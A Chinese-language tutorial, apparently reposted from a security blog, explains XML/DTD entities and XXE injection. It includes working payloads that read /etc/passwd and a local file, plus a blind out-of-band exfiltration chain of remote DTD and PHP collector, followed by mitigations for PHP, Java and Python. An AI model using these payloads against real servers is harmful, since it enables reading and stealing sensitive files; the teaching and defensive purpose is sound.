1. 程式人生 > >淺談XXE漏洞攻擊與防禦——本質上就是注入,盜取資料用

淺談XXE漏洞攻擊與防禦——本質上就是注入,盜取資料用

淺談XXE漏洞攻擊與防禦

from:https://thief.one/2017/06/20/1/

XML基礎

在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和儲存資料,其焦點是資料的內容,其把資料從HTML分離,是獨立於軟體和硬體的資訊傳輸工具。

XML文件結構

XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!--XML申明--> <?xml version= "1.0"?>   <!--文件型別定義--> <!DOCTYPE note [ <!--定義此文件是 note 型別的文件--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to ( #PCDATA)> <!--定義to元素為”#PCDATA”型別-->
<!ELEMENT from ( #PCDATA)> <!--定義from元素為”#PCDATA”型別--> <!ELEMENT head ( #PCDATA)> <!--定義head元素為”#PCDATA”型別--> <!ELEMENT body ( #PCDATA)> <!--定義body元素為”#PCDATA”型別--> ]]]>   <!--文件元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>

 

由於xxe漏洞與DTD文件相關,因此重點介紹DTD的概念。

DTD

文件型別定義(DTD)可定義合法的XML文件構建模組,它使用一系列合法的元素來定義文件的結構。DTD 可被成行地聲明於XML文件中(內部引用),也可作為一個外部引用。
內部宣告DTD:

1 <!DOCTYPE 根元素 [元素宣告]>

 

引用外部DTD:

1 <!DOCTYPE 根元素 SYSTEM "檔名">

 

DTD文件中有很多重要的關鍵字如下:

  • DOCTYPE(DTD的宣告)
  • ENTITY(實體的宣告)
  • SYSTEM、PUBLIC(外部資源申請)

實體

實體可以理解為變數,其必須在DTD中定義申明,可以在文件中的其他位置引用該變數的值。
實體按型別主要分為以下四種:

  • 內建實體 (Built-in entities)
  • 字元實體 (Character entities)
  • 通用實體 (General entities)
  • 引數實體 (Parameter entities)

實體根據引用方式,還可分為內部實體與外部實體,看看這些實體的申明方式。
完整的實體類別可參考 DTD - Entities

實體類別介紹

引數實體用%實體名稱申明,引用時也用%實體名稱;其餘實體直接用實體名稱申明,引用時用&實體名稱。
引數實體只能在DTD中申明,DTD中引用;其餘實體只能在DTD中申明,可在xml文件中引用。

內部實體:

1 <!ENTITY 實體名稱 "實體的值">

 

外部實體:

1 <!ENTITY 實體名稱 SYSTEM "URI">

 

引數實體:

1 2 3 <!ENTITY % 實體名稱 "實體的值"> 或者 <!ENTITY % 實體名稱 SYSTEM "URI">

 

例項演示:除引數實體外實體+內部實體

1 2 3 4 5 6 <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY name "nMask">]> <foo> <value>&name;</value> </foo>

 

例項演示:引數實體+外部實體

1 2 3 4 5 <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>

 

注意:%name(引數實體)是在DTD中被引用的,而&name(其餘實體)是在xml文件中被引用的。

由於xxe漏洞主要是利用了DTD引用外部實體導致的漏洞,那麼重點看下能引用哪些型別的外部實體。

外部實體

外部實體即在DTD中使用

1 <!ENTITY 實體名稱 SYSTEM "URI">

 

語法引用外部的實體,而非內部實體,那麼URL中能寫哪些型別的外部實體呢?
主要的有file、http、https、ftp等等,當然不同的程式支援的不一樣:

例項演示:

1 2 3 4 5 6 <?xml version= "1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY content SYSTEM "file:///etc/passwd">]> <foo> <value>&content;</value> </foo>

 

XXE漏洞

XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案。

xxe漏洞檢測

第一步檢測XML是否會被成功解析:

1 2 3 4 <?xml version= "1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "my name is nMask">]> <root>&name;</root>

 

如果頁面輸出了my name is nMask,說明xml檔案可以被解析。

第二步檢測伺服器是否支援DTD引用外部實體:

1 2 3 4 5 <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>

 

可通過檢視自己伺服器上的日誌來判斷,看目標伺服器是否向你的伺服器發了一條請求test.xml的請求。

如果支援引用外部實體,那麼很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多,比如可以檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等,這裡就讀取任意檔案的利用方式進行測試。

讀取任意檔案

由於我是在windows上做的測試,因此讓其讀取c盤下的test.txt檔案內容。

如果是linux下,可以讀取/etc/passwd等目錄下敏感資料。

以上任意檔案讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出資訊,即有回顯。那麼如果程式沒有回顯的情況下,該怎麼讀取檔案內容呢?需要使用blind xxe漏洞去利用。

blind xxe漏洞

對於傳統的XXE來說,要求攻擊者只有在伺服器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取伺服器端檔案,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外通道提取資料。

建立test.php寫入以下內容:

1 2 3 <?php file_put_contents( "test.txt", $_GET['file']) ; ?>

 

建立index.php寫入以下內容:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $xml=<<<EOF <?xml version= "1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://localhost/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r( $data) ; ?>

 

建立test.xml並寫入以下內容:

1 2 [html] view plain copy <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

 

當訪問http://localhost/index.php, 存在漏洞的伺服器會讀出text.txt內容,傳送給攻擊者伺服器上的test.php,然後把讀取的資料儲存到本地的test.txt中。

注:xxe的利用姿勢以及繞過防禦姿勢有很多,這裡不再一一介紹啦

xxe漏洞修復與防禦

使用開發語言提供的禁用外部實體的方法

PHP:

1 libxml_disable_entity_loader( true);

 

JAVA:

1 2 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences( false);

 

Python:

1 2 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

過濾使用者提交的XML資料

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

參考文件

https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://b1ngz.github.io/XXE-learning-note/
http://bobao.360.cn/learning/detail/3841.html